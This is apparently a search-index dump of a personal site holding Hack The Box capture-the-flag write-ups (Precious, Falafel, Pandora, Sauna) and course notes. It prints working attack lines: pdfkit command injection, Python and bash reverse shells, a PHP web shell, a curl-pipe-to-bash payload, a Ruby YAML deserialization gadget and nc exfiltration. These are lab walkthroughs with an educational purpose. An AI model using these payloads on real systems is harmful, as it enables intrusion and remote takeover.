can see that the PDF Creator is a tool called pdfkit v0.8.6 . This version is vulnerable and we can get a RCE (Remote Code Execution). We can see more about this vulnerability here . To exploit this vulnerability, it's simple! We just need to add to the URL a parameter called ?user and give a \"space\" but encoded (a space like %20 is the URL code for a space of the space bar). Next, we need to concatenate a bash code (because it is a Linux Machine) with the special symbol ` (a code between 2 of this symbol in bash get execute before the rest of the command outside the symbols) around the code for execute it like if we are in a command line shell. The command we will try is a single ping to our machine to test if we really got remote code execution. The final URL will be: http://10.10.14.144/?name=%20ping -c 1 10.10.14.144 # Set up a listener to capture the ping\nsudo tcpdump -i tun0 icmp We got a ping back! I also create a tiny script in Python to have a fast way to try remote code execution: import requests while True: cmd = input(\"[fAkeSh3ll ~] > \") data = { 'url': f\"http://10.10.14.144/?name=%20`{cmd}`\", } response = requests.post('**http://precious.htb/**', data=data, verify=False) Now, we can try to get a reverse shell. A reverse shell is a type of connection to get a shell on the target machine. But the way we got this is tricky. We need to find a way for the target machine to send its own shell to our machine. It's like trying to enter a house, and we need to find a way for the house to open its own door to give us access... The command that worked on the machine was this: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")' So, if we want to do that on the Website, we need to send this url: http://10.10.14.144/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'` The query needs to be that exact and we need to adapt the IP and the port. We also need to set up a listener to capture the shell. Reverse Shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 3. Exploit - Remote Code Execution","id":"93","title":"3. Exploit - Remote Code Execution"},"94":{"body":"We are in the machine. But we have low privilege. We need more!! HUAAHAHA!! Digging through the folders and files, we'll find credentials for a service used by the user henry. henry credentials And like 99,9% of people, we can try if the user henry has the same password for is user account. And it works! su henry\n# Q3c1AqGHtoI0aXAYFH","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 4. Foothold","id":"94","title":"4. Foothold"},"95":{"body":"We got a little more privileges. But it is not enough!! WE NEED MORE AGAIN!!!! Sudo permissions The sudo command is a command to execute another command as root privileges. And sudo -l inform us that the user henry can execute /usr/bin/ruby /opt/update_dependencies.rb as root. When we examine the update_dependencies.rb file, we realize that the script use \"YAML.load\" to load that file. That means the file will be deserialized. deserialization is like converting the syntax of the content of the file into object in ruby (in this case). But like in a lot of languages, deserialization can be dangerous... And in this case, we can create our own YAML file to execute a command as root. We can find a good article here but for python, and here in ruby. But the code we will use is here . Code execution as root We just create a file caller test.txt for confirm that the code is working. And it works! We can execute command as root. Now, we need a way to get root shell. They are so many ways, but I like this one: I will change permissions on the /usr/bin/bash program to execute it as the owner of the program. The owner of the program is root. So, if we execute the program, we will get a root shell. The code we will use is: ---\n- !ruby/object:Gem::Installer i: x\n- !ruby/object:Gem::SpecFetcher i: y\n- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \"abc\" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod +s /usr/bin/bash method_id: :resolve Now, we just need to execute the sudo command, and the bash program will be altered. And we can execute bash as root with a special flag: sudo /usr/bin/ruby /opt/update_dependencies.rb\nbash -p Root shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 5. Privilege Escalation","id":"95","title":"5. Privilege Escalation"},"96":{"body":"This machine was easy to get in, and the privilege escalation was a little more complex. But it was a good machine to learn more about Ruby and YAML. I hope you enjoyed this writeup. Fun fact: the machine is called Precious because it is a reference to the ruby programming language. Both vulnerabilities are related to the ruby language.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 6. Conclusion","id":"96","title":"6. Conclusion"},"97":{"body":"Resolução da máquina Falafel 1.0.0.1. Máquina HARD (hackthebox.com) 1.0.0.2. by JavaliMZ - 09/09/2021 1. Enumeração 1.1. Nmap 2. WebSite 2.1. Fuzzing the website 2.2. SQLi 2.3. RCE 2.3.1. Reverse Shell 3. PrivEsc 3.1. Group video 3.2. Group disk 3.3. debugfs","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 1. Enumeração","id":"97","title":"1. Enumeração"},"98":{"body":"Na fase de enumeração, a ferramenta nmap tem um lugar imprescindível!! É possível enumerar portas manualmente, com um simples for loop e um echo para o /dev/tcp/
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> Resumindo: O ficheiro tem obrigatoriamente que terminar por \".png\" O servidor apache interpreta código php O wget da página de upload corta os nomes muito grandes a partir do caractere 236. Posto isso, se renomearmos o nosso ficheiro malicioso por um arquivo com (232 carateres + .php + .png), o nome do arquivo irá ser cortado a partir do 236º caracter e ficará assim: (232 chars + .php) cp shell.php $(msf-pattern_create -l 232).php.png\n# Agora que temos o número exato de caracteres, poderíamos ter chamado o ficheiro com 232 \"A\"... mas na altura não me lembrei e o nome está um pouco agressivo para os olhos! Resultado: http://10.10.14.17/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png uploaded web shell Note the path of the file and go to the webshell Ok, conseguimos enviar um arquivo, que aparentemente agora está na máquina alvo com a extensão .php. E onde está? Bem, no resultado o comando wget, vemos que antes de fazer o download do arquivo, fez um cd para uma pasta. E sabemos ainda que existe uma rota uploads... Ao juntar tudo, podemos tentar ir para a seguinte url(no meu caso): http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami whoami web shell Temos Execução de código remoto!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3. RCE","id":"103","title":"2.3. RCE"},"104":{"body":"A forma mais fácil de ter um reverse shell sem ter muitos problemas com caracteres especiais e assim é partilhar um ficheiro com o código do reverse shell lá dentro, para depois fazer um curl e pipeá-lo com um bash (sim pipeá-lo, neste blog, este verbo existe xD) Criei então um ficheiro com o nome rev.html contendo o seguinte código: #!/bin/bash bash -i >& /dev/tcp/10.10.14.17/443 0>&1 Partilhe então um servidor http com este ficheiro, para que através do RCE, poder dar um curl ao ficheiro, e pipeá-lo com bash sudo python3 -m http.server 80 # On one terminal\nsudo nc -lvnp 443 # On another one http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=curl%20http://10.10.14.17/rev.html|bash","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3.1. Reverse Shell","id":"104","title":"2.3.1. Reverse Shell"},"105":{"body":"Já dentro da máquina, ao vasculhar os ficheiros, pode-se encontrar credenciais em /var/www/html/connection.php (remote) www-data@falafel:/var/www/html$ cat connection.php\n Estas credenciais server para fazer login ao MySQL, mas se reutilizar-mos as credenciais para fazer login por ssh, vemos que as credenciais são válidas!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3. PrivEsc","id":"105","title":"3. PrivEsc"},"106":{"body":"Esta máquina é um CaptureTheFlag LOL... O próximo passo é completamente irrealista, mas não deixa de ser interessante. Esta máquina não tem mais vulnerabilidades. Ok, então onde estão as credenciais do usuário \"yossi\"?! Estão no ecrã... com o commando \"w\" podemos ver que o yossi está actualmente logado fisicamente na máquina w\n#> 22:31:32 up 10:23, 2 users, load average: 0.00, 0.00, 0.00\n#> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\n#> yossi tty1 12:08 10:22m 0.06s 0.06s -bash\n#> moshe pts/1 10.10.14.17 22:06 0.00s 0.06s 0.00s w O usuário com o qual estamos neste momento (moshe) está no grupo \"video\". Os usuário deste grupo pode ver o que está a ser transmitido para o ecrã. E para tirar uma captura de ecrã sem nenhum recurso adicional, pode-se ir à fonte mesmo. Isto é, capturar o que está em /dev/fb0 com um simples cat. Para ler este arquivo (que vem em formato RAW), temos de saber as dimenções da tela, pois este formato não diz nada sobre dimenções, apenas escreve todos os dados numa linha só e \"tá feito\". As dimenções actuais do ecrã estão sempre definidas em /sy/class/graphics/fb0/virtual_size cat /dev/fb0 > /tmp/screen.raw\ncat /sys/class/graphics/fb0/virtual_size\n#> 1176,885 Recupere a captura de ecrã para o kali nc 10.10.14.17 443 < /tmp/screen.raw # Target Machine\nnc -lvnp 443 > screen.raw # kali Machine Abrir o ficheiro com ajuda do GIMP, definido manualmente que este ficheiro é um ficheiro RAW com 1176,885 de dimenções... opennig image raw format with GIMP Select size of raw image Password yossi Entre agora por ssh com o usuário yossi e a sua credencial (que de passagem só se vê porque o yossi errou primeiro ao introduzi-la e por \"grande sorte\" ainda está a vista na tela looooool)","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.1. Group video","id":"106","title":"3.1. Group video"},"107":{"body":"for group in $(groups); do echo -e \"\\n\\n\\n[*] Archive with group $group permition:\\n\"; find / -group $group 2>/dev/null; done Este commando permite-nos enumerar todos os ficheiro no qual pertence a cada grupo no qual está o usuário. E assim, vemos que o usuário yossio em que estamos logados, tem permissões através do grupo \"disk\" de leitura e escritura sobre /dev/sda1 e muito mais... Este /dev/sda1 é muito simplesmente o disco rígido na qual está instalado o prórpio sistema operativo. Mas não dá para abrir assim... fdisk -l\n#> Disk /dev/sda: 8 GiB, 8589934592 bytes, 16777216 sectors\n#> Units: sectors of 1 * 512 = 512 bytes\n#> Sector size (logical/physical): 512 bytes / 512 bytes\n#> I/O size (minimum/optimal): 512 bytes / 512 bytes\n#> Disklabel type: dos\n#> Disk identifier: 0x01590ad6\n#>\n#> Device Boot Start End Sectors Size Id Type\n#> /dev/sda1 * 2048 14680063 14678016 7G 83 Linux\n#> /dev/sda2 14682110 16775167 2093058 1022M 5 Extended\n#> /dev/sda5 14682112 16775167 2093056 1022M 82 Linux swap / Solaris ll /dev/sda1\n#> brw-rw---- 1 root disk 8, 1 Sep 9 12:08 /dev/sda1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.2. Group disk","id":"107","title":"3.2. Group disk"},"108":{"body":"Com a ajuda da ferramente debugfs (ext2/ext3/ext4 file system debugger). Podemos ver ou manipular uma partição, um disco ou o seu conteúdo. Podemos assim facilemente ver a flag root.txt, mas a nós o que nos interessa é vir a ser root! Por sorte, em /root/.ssh existem keys para entrar por ssh, já autorizadas... nem percisamos de fazer mais nada. É só copiar e usar a id_rsa: debugfs /dev/sda1\ndebugfs: cd /root/.ssh\ndebugfs: cat id_rsa # copy the content...\n# Exit the debugfs cd /tmp\nnano id_rsa # paste the content...\nchmod 600 id_rsa\nssh -i id_rsa root@localhost cat /home/moshe/user.txt\n#> c866575ed5999e1a878b1494fcb1f9d3\ncat /root/root.txt\n#> 23b79200448c62ffd6f8f2091c001fa1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.3. debugfs","id":"108","title":"3.3. debugfs"},"109":{"body":"Sejam bem-vindos! Neste espaço, irei partilhar alguns dos trabalhos que realizarei durante o meu curso de Cibersegurança, em português, como é habitual. Espero que possam acompanhar e aprender comigo. Sylvain \"JavaliMZ\" Júlio","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Trabalhos do curso de Cibersegurança","id":"109","title":"Trabalhos do curso de Cibersegurança"},"11":{"body":"Web Server potenciais users A passear pelo site, não se vê nada de interessante a não ser a página about.html que poderá ter potenciais usuários de uma eventual empresa (Já que é um Active directory ou um Domain Controller) Numa empresa, os usuários costumam ser identificados por primeira letra dos primeiros nomes, e ultimo nome completo. junto, ou separado por um ponto. Isto é extremamente comum... Por isso, vamos extrair esse potenciais usuários para um ficheiro, e daí fazer um arquivo com usernames. Web Server get users cat users-full-name\n#> Fergus Smith\n#> Hugo Bear\n#> Steven Kerb\n#> Shaun Coins\n#> Bowie Taylor\n#> Sophie Driver cat users-full-name | tr '[A-Z]' '[a-z]'\n#> fergus smith\n#> hugo bear\n#> steven kerb\n#> shaun coins\n#> bowie taylor\n#> sophie driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}'\n#> fsmith\n#> hbear\n#> skerb\n#> scoins\n#> btaylor\n#> sdriver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}'\n#> f.smith\n#> h.bear\n#> s.kerb\n#> s.coins\n#> b.taylor\n#> s.driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}' > users cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}' >> users Temos agora uma lista de usuários potenciais para efectuar a próxima tentativa de attack. AS-REP Roasting Attack!.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 2. Web Server","id":"11","title":"2. Web Server"},"110":{"body":"T02 - Acesso Remoto (SSH) 1. Instalação do OpenSSH do cliente 2. Instalação do OpenSSH do lado do servidor 3. Ligação entre o cliente e o servidor 4. Execução de comandos no servidor 5. Criação de um utilizador no servidor 6. Acesso ao servidor através do utilizador criado 7. Acesso de utilizadores guest por parte dos camaradas de curso 8. Mudar o porto lógico de acesso do servidor 9. Verificação do acesso ao servidor SSH 10. Conclusão Para este trabalho, iremos usar o Arch(Linux) por WSL2 do Windows. Para instalar o OpenSSH, basta executar o seguinte comando: yay openssh # O Yay é um AUR Helper. É necessário selecionar a opção respetiva do OpenSSH para instalá-lo. Neste momento, já se pode usar o comando ssh enquanto cliente para nos conectarmos a um servidor SSH, sem mais configurações.","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 1. Instalação do OpenSSH do cliente","id":"110","title":"1. Instalação do OpenSSH do cliente"},"111":{"body":"O OpenSSH no sistema RockyOS vem instalado por defeito. Inclusive, o servidor inicia automaticamente com o sistema. No entanto, caso o software não estiver instalado, basta executar o seguinte comando: sudo yum install openssh Além de o instalar, será necessário ativar o serviço do OpenSSH. Para isso, basta executar o seguinte comando: systemctl start sshd # Inicia o serviço do OpenSSH\nsystemctl enable sshd # Indica ao sistema para iniciar o serviço do OpenSSH sempre que o sistema iniciar","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 2. Instalação do OpenSSH do lado do servidor","id":"111","title":"2. Instalação do OpenSSH do lado do servidor"},"112":{"body":"Por fim, para ligar o cliente ao servidor, basta executar o seguinte comando: # Do lado do cliente (Arch)\nssh javali@192.168.56.101 # ssh
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> # Para diretamente ter o reverse shell:\n& /dev/tcp/10.10.14.230/443 0>&1'\");?> # Executar o nc em modo de escuta para receber o shell:\nkali@kali: > nc -lvnp 443 # Em outra consola, executar o ficheiro que \"uploadamos\" (Eu escolhi chamar o ficheiro de shell.php...)\nkali@kali: > curl http://localhost/pandora_console/images/shell.php","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6. RCE com usuário matt","id":"87","title":"3.6. RCE com usuário matt"},"88":{"body":"script /dev/null -c bash\nexport TERM=xterm\nexport SHELL=bash # Ctrl + Z\nstty raw -echo; fg\nreset\nstty rows 40 columns 170 # Tem corresponder ao vosso ecrã (stty -a numa consola do Kali)","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6.1. Estabilizar o Reverse Shell","id":"88","title":"3.6.1. Estabilizar o Reverse Shell"},"89":{"body":"Agora que somos matt, podemos analisar o tal binário pandora_backup tar No meio desses caracteres todos, podemos ver um clienttar -cvf /root/... Este parece ser um simples comando \" tar \" que se colou a uma palavra \"client\" por não haver caracteres ASCII pelo meio. Significa que, quem fez o binário, aparentemente, usou um simples comando \" tar \" para fazer o backup, mas não usou o caminho completo para chamar a ferramenta. O que isto quer dizer?","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4. Escalada de privilégio","id":"89","title":"4. Escalada de privilégio"},"9":{"body":"Resolução da máquina Sauna\nMáquina Easy (hackthebox.com)\nby JavaliMZ - 15/09/2021 1. Enumeração 1.1. Nmap 2. Web Server 3. AS-REP Roasting Attack 3.1. GetNPUsers.py 3.1.1. Pwn3d! 4. Primeiro pé na máquina 5. BloodHound 6. Escalada de Privilégios Como sempre, para qualquer PenTest, precisamos saber qual é o alvo. E o primeiro passo para isso é enumerar as portas da máquina! Uma das melhores e mais conhecidas ferramentas para enumerar as portas de uma máquina ou conjunte de máquina é o NMAP.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1. Enumeração","id":"9","title":"1. Enumeração"},"90":{"body":"Sabemos que o binário pandora_backup usa o tar. Onde se encontra isso? which tar\n# /usr/bin/tar Ok. Mas como é que o computador sabe que está ali o programa? Existe uma variável no shell que indica isso. Chama-se PATH: echo $PATH\n# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin É assim que o computador procura o programa, primeiro procura em \" /usr/local/sbin \", depois em \" /usr/local/bin \", e assim sucessivamente. Todas as pastas estão separadas pelos dois pontos \":\". Mas esta variável é apenas uma variável que o nosso shell actual têm, que facilmente se altera. export PATH=.:$PATH\necho $PATH\n# .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Adicionamos um ponto \".\" à primeira pasta onde o computador vai procurar pelo programa. Significa que o computador vai procurar no diretório atual, e só depois nos outros diretórios. Assim, basta criar um executável de nome \" tar \" numa pasta qualquer, e executar o binário pandora*backup a partir da mesma posição, para o linux assumir que o \"**_tar***\" correto é o nosso próprio ficheiro \" tar \". E, já que o binário pandora_backup é SUID, e o seu proprietário é \" root \", significa que podemos escrever o que nos apetecer para que seja executado como \"** root **\". O mais fácil é chamar um bash novo... pathhijacknotwork","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1. Path Hijacking","id":"90","title":"4.1. Path Hijacking"},"91":{"body":"Sinceramente não sei, o que sei é que pelo ssh funcionou nesta máquina... Quando vi que não funcionou, procurei outra solução. criei uma chave id_rsa só para ter melhor conexão, conectei-me via SSH e o mesmo exploit funcionou... OK. Mistérios do Hacking! ssh-keygen\ncd /home/matt/.ssh\ncat id_rsa.pub > authorized_keys\ncat id_rsa\n# Copiar o conteúdo e colar num novo ficheiro no nosso kali\nkali@kali: > nano id_rsa\nkali@kali: > # Colar e gravar\nkali@kali: > chmod 600 id_rsa\nkali@kali: > ssh matt@10.10.11.136 -i id_rsa E agora, exatamente da mesma posição, alterando primeiro a variável PATH, optemos uma shell root root Agora já somos ROOT! Só falta as flags... Obrigador por lerem o writeup! Até à próxima Criadores da máquina: TheCyberGeek e dmw0ng","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1.1. Não funcionou! Porquê?","id":"91","title":"4.1.1. Não funcionou! Porquê?"},"92":{"body":"Writeup: Precious EASY machine (hackthebox.com) by Sylvain \"JavaliMZ\" Júlio - 30/12/2022 1. Introduction 2. Enumeration 3. Exploit - Remote Code Execution 4. Foothold 5. Privilege Escalation 6. Conclusion This write-up was created for two purposes. Normally, my write-ups are in Portuguese, but this time, I am writing in English because I am in a Cyber Security degree, and I need to complete an assignment for my English class during the 2022 winter break. The assignment was to summarize and explain three good articles about a topic I like, but I didn't know what to choose, so I decided to make the \"Precious\" machine from HTB and read some articles about the machine's vulnerabilities. Additionally, my teacher Maria's goal is to keep us interested and active in English, so I think I am respecting the overall rules =). For this time, I will not be discussing possible ways to find something or explaining different concepts that are not related to the machine, because it is already a lot of work to write and think in English. I will only be talking about the machine and the way to gain Administrator access to the machine. I will try to make analogies to the real world so that my teacher does not get lost. I will do my best.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 1. Introduction","id":"92","title":"1. Introduction"},"93":{"body":"Like every machine, we need to know how to access it. HTB gives us the IP address, but we don't know anything else. The IP address is like the address of a house, but we need to figure out which doors are open to get in. In a machine, these doors are called \"ports\" (in reference to the ports of ships that allow the arrival of goods from the outside world). There are always 65,535 ports in all machines. It's a lot!! But we don't need to knock on all the ports manually... For that, we have a tool called nmap . First, we need to confirm that we can reach the IP: ping -c 1 10.10.11.189 # PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data. # 64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=72.5 ms # --- 10.10.11.189 ping statistics --- # 1 packets transmitted, 1 received, 0% packet loss, time 0ms # rtt min/avg/max/mdev = 72.530/72.530/72.530/0.000 ms We send an ICMP packet, and the target machine sends it back. With the ping command (like ping pong), we know the machine is alive and we can start scanning the ports. We noticed one more thing with the ping command. The result gives us the TTL (Time to Live) which refers to the number of hops that a packet is allowed to make before it is discarded. When a packet travels through the Internet, every time it passes through a router, the router decrements this value by 1. For Windows, TTL starts at 128, and for Linux, TTL starts at 64. We can use this information to approximate the Operating System of the target machine. In this case, it is likely a Linux machine. It is important for future commands on the target machine. Enumeration all ports With the response of the nmap command, we know that on the target machine, we have 2 ports open: port 22 and port 80. Normally, port 22 is for an SSH server and port 80 is for a web server. The SSH server is a remote secure shell, used to connect my command line with the machine when we connect with the right credentials. We don't have any credentials, so we can't do anything here. We just have one more port, the web server. Before we start looking at the website, we can do a more powerful scan, using nmap as well. Enumeration targeted ports This new command gives us more information. The web server redirects us to http://precious.htb/ , but that website doesn't exist. We know the site is on this IP, but the web server wants us to access it through the URL http://precious.htb/ . We can do that by telling our machine that the URL http://precious.htb/ corresponds to the IP of the target machine. For that, we can edit the file /etc/hosts as a root (super user) and add the line: echo \"10.10.11.189\\tprecious.htb\" >> /etc/hosts Now, we can access the website: Website It is a website that converts websites to PDF. We can do some basic testing to get more information about the website. We can try to serve a web server and enter the new URL to see what happens: python -m http.server 80 This is a really simple web server, but it is enough for us. We can enter our URL (http://10.10.14.144/) in the field on the website and see what happens: pdf Download We can see that the website download a PDF file. Visually, it is just a simples PDF. But if we use a tool like exiftool to see the metadata of the PDF, we can see more information... pdf Metadata","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 2. Enumeration","id":"93","title":"2. Enumeration"},"94":{"body":"We can see that the PDF Creator is a tool called pdfkit v0.8.6 . This version is vulnerable and we can get a RCE (Remote Code Execution). We can see more about this vulnerability here . To exploit this vulnerability, it's simple! We just need to add to the URL a parameter called ?user and give a \"space\" but encoded (a space like %20 is the URL code for a space of the space bar). Next, we need to concatenate a bash code (because it is a Linux Machine) with the special symbol ` (a code between 2 of this symbol in bash get execute before the rest of the command outside the symbols) around the code for execute it like if we are in a command line shell. The command we will try is a single ping to our machine to test if we really got remote code execution. The final URL will be: http://10.10.14.144/?name=%20ping -c 1 10.10.14.144 # Set up a listener to capture the ping\nsudo tcpdump -i tun0 icmp We got a ping back! I also create a tiny script in Python to have a fast way to try remote code execution: import requests while True: cmd = input(\"[fAkeSh3ll ~] > \") data = { 'url': f\"http://10.10.14.144/?name=%20`{cmd}`\", } response = requests.post('**http://precious.htb/**', data=data, verify=False) Now, we can try to get a reverse shell. A reverse shell is a type of connection to get a shell on the target machine. But the way we got this is tricky. We need to find a way for the target machine to send its own shell to our machine. It's like trying to enter a house, and we need to find a way for the house to open its own door to give us access... The command that worked on the machine was this: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")' So, if we want to do that on the Website, we need to send this url: http://10.10.14.144/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'` The query needs to be that exact and we need to adapt the IP and the port. We also need to set up a listener to capture the shell. Reverse Shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 3. Exploit - Remote Code Execution","id":"94","title":"3. Exploit - Remote Code Execution"},"95":{"body":"We are in the machine. But we have low privilege. We need more!! HUAAHAHA!! Digging through the folders and files, we'll find credentials for a service used by the user henry. henry credentials And like 99,9% of people, we can try if the user henry has the same password for is user account. And it works! su henry\n# Q3c1AqGHtoI0aXAYFH","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 4. Foothold","id":"95","title":"4. Foothold"},"96":{"body":"We got a little more privileges. But it is not enough!! WE NEED MORE AGAIN!!!! Sudo permissions The sudo command is a command to execute another command as root privileges. And sudo -l inform us that the user henry can execute /usr/bin/ruby /opt/update_dependencies.rb as root. When we examine the update_dependencies.rb file, we realize that the script use \"YAML.load\" to load that file. That means the file will be deserialized. deserialization is like converting the syntax of the content of the file into object in ruby (in this case). But like in a lot of languages, deserialization can be dangerous... And in this case, we can create our own YAML file to execute a command as root. We can find a good article here but for python, and here in ruby. But the code we will use is here . Code execution as root We just create a file caller test.txt for confirm that the code is working. And it works! We can execute command as root. Now, we need a way to get root shell. They are so many ways, but I like this one: I will change permissions on the /usr/bin/bash program to execute it as the owner of the program. The owner of the program is root. So, if we execute the program, we will get a root shell. The code we will use is: ---\n- !ruby/object:Gem::Installer i: x\n- !ruby/object:Gem::SpecFetcher i: y\n- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \"abc\" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod +s /usr/bin/bash method_id: :resolve Now, we just need to execute the sudo command, and the bash program will be altered. And we can execute bash as root with a special flag: sudo /usr/bin/ruby /opt/update_dependencies.rb\nbash -p Root shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 5. Privilege Escalation","id":"96","title":"5. Privilege Escalation"},"97":{"body":"This machine was easy to get in, and the privilege escalation was a little more complex. But it was a good machine to learn more about Ruby and YAML. I hope you enjoyed this writeup. Fun fact: the machine is called Precious because it is a reference to the ruby programming language. Both vulnerabilities are related to the ruby language.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 6. Conclusion","id":"97","title":"6. Conclusion"},"98":{"body":"Resolução da máquina Falafel 1.0.0.1. Máquina HARD (hackthebox.com) 1.0.0.2. by JavaliMZ - 09/09/2021 1. Enumeração 1.1. Nmap 2. WebSite 2.1. Fuzzing the website 2.2. SQLi 2.3. RCE 2.3.1. Reverse Shell 3. PrivEsc 3.1. Group video 3.2. Group disk 3.3. debugfs","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 1. Enumeração","id":"98","title":"1. Enumeração"},"99":{"body":"Na fase de enumeração, a ferramenta nmap tem um lugar imprescindível!! É possível enumerar portas manualmente, com um simples for loop e um echo para o /dev/tcp/
